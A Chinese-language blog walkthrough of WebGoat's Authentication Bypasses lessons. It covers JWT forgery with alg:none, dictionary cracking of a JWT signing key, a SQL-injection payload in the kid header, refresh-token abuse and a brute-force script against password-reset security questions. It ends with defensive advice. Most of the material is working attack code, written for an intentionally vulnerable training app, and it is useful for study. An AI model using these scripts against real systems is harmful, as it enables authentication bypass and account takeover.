Webgoat--Authentication Bypasses

攻击方式

通过html中隐藏的input标签值

通过移除/修改提交的参数来确认程序的响应

通过猜测和暴力破解强制访问站点的某些URL

2FA Password Reset

将secQuestion0,secQuestion1改为secQuestion2 secQuestion3即可

Webgoat--Authentication Bypasses_第1张图片

JWT (JSON Web tokens)

  • 概念
    一种在客户端和服务器之间使用JSON对象

令牌格式为Header.playload.Signature

Header中存放加密的算法和类型,数据为JSON经过BASE64URL算法的编码结果
JSON字符串格式为:

{
	"alg" : "HS256"
	"typ": "JWT"
}

playload中存放实际传递的数据(该部分非加密格式,可任意读取),数据为JSON经过BASE64URL算法的编码结果。

playload分三种声明(claims):
Registered claims(注册声明)
这些是一组预先定义的声明,它们不是强制性的,但推荐使用,以提供一组有用的,可互操作的声明。 其中一些是:iss(发行者),exp(到期时间),sub(主题),aud(受众)
Public claims(公开声明)
由使用JWT的人员随意定义
Private claims(私有声明)
这些是为了同意使用它们但是既没有登记,也没有公开声明的各方之间共享信息,而创建的定制声明。

JSON字符串格式为:

{  	
	"exp": 1416471934,  "user_name": "user",  
	"scope": [    "read",    "write"  ],  
	"authorities": [    "ROLE_ADMIN",    "ROLE_USER"  ],  
	"jti": "9bc92a44-0b1a-4c5e-be70-da52075b9a84",  
	"client_id": "my-client-with-secret"
}

Signature中存放通过secret对header和claims计算签名并经过BASE64URL算法的编码结果,算法格式为:

HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),secret)

Base64URL编码与Base64类似,主要是将Base64编码中的=省略,+替换为-,/替换为_

https://www.cnblogs.com/mantoudev/p/8994341.html

攻击方式

将签名算法设置为none从而绕过签名验证
密钥暴力破解token信息
利用refresh token逻辑错误,对其他账号的access token进行刷新

  • 将签名算法设置为none从而绕过签名验证
    抓包获取Tom的JWT
    Webgoat--Authentication Bypasses_第2张图片
    访问http://jwt.io 对jwt解码
    Webgoat--Authentication Bypasses_第3张图片
    把加密算法置空,把admin置为true,得到新的token
import base64
def b64urlencode(data):
    return base64.b64encode(data).replace(b'+', b'-').replace(b'/', b'_').replace(b'=', b'')
print(b64urlencode(b'{"alg":"none"}') + b'.' + b64urlencode(b'{"iat":1592510350,"admin":"true","user":"Tom"}') + b'.')

python 中string和bytes的关系
https://www.cnblogs.com/abclife/p/7445222.html

Webgoat--Authentication Bypasses_第4张图片

  • 暴力破解

可通过pyjwt 库中的 jwt.decode(jwt_str, verify=True, key=key_)破解密码
进行签名校验,但导致校验失败的因素不仅密钥错误,还可能是数据部分中预定义字段错误(如,当前时间超过 exp),也可能是 JWT字符串格式错误等等,所以,借助 jwt.decode(jwt_str, verify=True, key=key_) 验证密钥 key_

1.若签名直接校验失败,则 key_ 为有效密钥;
2.若因数据部分预定义字段错误
jwt.exceptions.ExpiredSignatureError,
jwt.exceptions.InvalidAudienceError,
jwt.exceptions.InvalidIssuedAtError,
jwt.exceptions.InvalidIssuedAtError,
jwt.exceptions.ImmatureSignatureError
导致校验失败,说明并非密钥错误导致,则 key_ 也为有效密钥;
3.若因密钥错误(jwt.exceptions.InvalidSignatureError)导致校验失败,则 key_ 为无效密钥;
4.若为其他原因(如,JWT 字符串格式错误)导致校验失败,根本无法验证当前 key_ 是否有效。
import jwt

def getSecret(data):
    jwt_str = data
    with open('/password.txt') as f:
        for line in f:
            key_ = line.strip()
            try:
                jwt.decode(jwt_str, verify=True, key=key_)
                print(key_)
                break
            except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError,
                    jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError,
                    jwt.exceptions.ImmatureSignatureError):
                print(key_)
                break
            except jwt.exceptions.InvalidSignatureError:
                continue
        else:
            print('not found')

data = 'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aW' \
              'xkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTU5MTcy' \
              'Njk2NywiZXhwIjoxNTkxNzI3MDI3LCJzdWIiOiJ0b21Ad2ViZ29h' \
              'dC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYX' \
              'Qub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJh' \
              'dG9yIl19.S2qEUNCr0aiq-dva_hDJT9-EO9jNe-clfl0Gm97qzxo'
getSecret(data)

生成令牌

import jwt
token_dict = {
    "iss": "WebGoat Token Builder",
    "aud": "webgoat.org",
    "iat": 1591726967,
    "exp": 9591727027,
    "sub": "[email protected]",
    "username": "WebGoat",
    "Email": "[email protected]",
    "Role": [
        "Manager",
        "Project Administrator"
    ]
}
key = "business"
# headers
headers = {
    "typ": "JWT",
    "alg": "HS512",
}
jwt_token = jwt.encode(token_dict, key, algorithm="HS512", headers=headers )
print(jwt_token.decode())
  • 刷新令牌

获得刷新令牌

Webgoat--Authentication Bypasses_第5张图片
刷新TOM的令牌

{"refresh_token":"iPVVppWFBvUXDHrCtWcw"}

Webgoat--Authentication Bypasses_第6张图片
发送订单
Webgoat--Authentication Bypasses_第7张图片

  • JWT + SQL 注入
    当解密JWT的秘钥很多的时候,往往需要通过kid来确定使用哪个秘钥,而keyid参数通过b64加密来保存,可以被篡改。当keyid要通过数据库API拿取得时候,往往就会联想到sql 注入。
token_dict = {
    "iss": "WebGoat Token Builder",
    "aud": "webgoat.org",
    "iat": 1524210904,
    "exp": 9591727027,
    "sub": "[email protected]",
    "username": "Tom",
    "Email": "[email protected]",
    "Role": [
        "Cat"
    ]
}
key = "pass"
# headers
headers = {
    "typ": "JWT",
    "alg": "HS256",
    "kid": " ' union select 'cGFzcw==' from jwt_keys where id='webgoat_key "
}
jwt_token = jwt.encode(token_dict, 
                       key,
                       algorithm="HS256",  
                       headers=headers  
                       )
print(jwt_token.decode())

Webgoat--Authentication Bypasses_第8张图片

其他jwt利用方法
https://4hou.win/wordpress/?p=23278

Password reset

  • 0x02
from termcolor import colored, cprint
import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With': 'XMLHttpRequest'
}
cookies = {
    'JSESSIONID': '2ja4uLmi1aSmefjKQIFSaxN84ZW5x_iCk62fEJDQ'
}
url = "http://192.168.80.2:8080/WebGoat/PasswordReset/questions"
with open("F://users.txt") as users:
    for user in users:
        with open("F://password.txt") as passwords:
            for password in passwords:
                data = "username={0}&securityQuestion={1}".format(user.strip(), password.strip())
                res = requests.post(url=url, headers=headers, cookies=cookies, data=data)
                if 'Congratulations' in res.json()['feedback']:
                    cprint("name={0},password={1}".format(user.strip(), password).strip(),'red')
                    exit(0)

Secure Passwords

  • 密码设置规则
    使用至少一个大写字母和一个特殊字符
    无密码提示
    没有安全性问题
    最小8个字符

总结

  • 身份验证绕过
    通过html中隐藏的input标签值
    通过移除/修改提交的参数来确认程序的响应
    通过猜测和暴力破解强制访问站点的某些URL

  • JWT绕过
    将签名算法设置为none从而绕过签名验证
    密钥暴力破解token信息
    利用refresh token逻辑错误,对其他账号的access token进行刷新

  • 防御方法
    不允许出现 none 的方法:将开启 alg : none 作为一种额外的配置选项。
    使用复杂的秘钥
    不允许 HS256等对称加密 算法读取秘钥,将秘钥与验证算法相互匹配

  • 密码重置
    验证用户名/邮箱/手机号是否注册
    暴力破解问题答案,后进行重置密码
    通过钓鱼方式获取用户重置密码验证码或重置链接后进行重置
    针对弱算法生成的验证码或重置链接进行暴力破解

  • 防御方法
    在重置密码失败3次以上,提供后端验证码生成,提示用户输入,并在后端进行验证
    针对使用问题答案进行重置密码功能,不应限制问题答案范围
    提供发送验证码和重置链接,选择随机性强算法,并记录验证码和用户的关系,同时需要设置验证码和重置连接的有效时间,并保证验证码和重置链接至多使用一次

你可能感兴趣的:(webgoat)